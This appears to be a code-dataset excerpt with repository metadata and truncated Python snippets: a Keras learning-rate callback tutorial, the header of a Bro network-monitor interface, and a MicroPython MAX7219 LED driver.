4_DeepLearning-Advanced/6-Callback_ReduceLearningRateOnPlateau.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
''' Callback für Tensorboard: ReduceLearningRateOnPlateau: verändert die Learning Rate nur, wenn die Entwicklung nicht besser wird -> besser als LRScheduler ''' import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import random import numpy as np import tensorflow as tf from tensorflow.keras.layers import * from t...
31.288703
100
0.645895
c908f4ac6cc0152edff8d867a8fc151e109d9f97
16,400
py
Python
PSA/BroManager.py
SECURED-FP7/secured-psa-nsm
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
[ "Apache-2.0" ]
null
null
null
PSA/BroManager.py
SECURED-FP7/secured-psa-nsm
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
[ "Apache-2.0" ]
null
null
null
PSA/BroManager.py
SECURED-FP7/secured-psa-nsm
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
[ "Apache-2.0" ]
null
null
null
# -*- Mode:Python;indent-tabs-mode:nil; -*- # # BroManager.py # # An interface to Bro. # # Author: jounih / VTT Technical Research Centre of Finland Ltd., 2015 # jju / VTT Technical Research Centre of Finland Ltd., 2016 # import threading import subprocess import os import os.path import logging # In the n...
35.421166
80
0.586951
a342edf126cc13f2a6b3d11e36a11aea3385bf59
5,646
py
Python
haas_lib_bundles/python/libraries/max7219/max7219.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/libraries/max7219/max7219.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/libraries/max7219/max7219.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
""" Copyright (C) 2015-2021 Alibaba Group Holding Limited MicroPython's driver for MAX7219 Author: HaaS Date: 2022/03/15 """ from driver import GPIO from utime import sleep_ms from micropython import const import math digit_array_0 = bytearray([0x3c, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x3c]) digit_ar...
42.772727
78
0.651966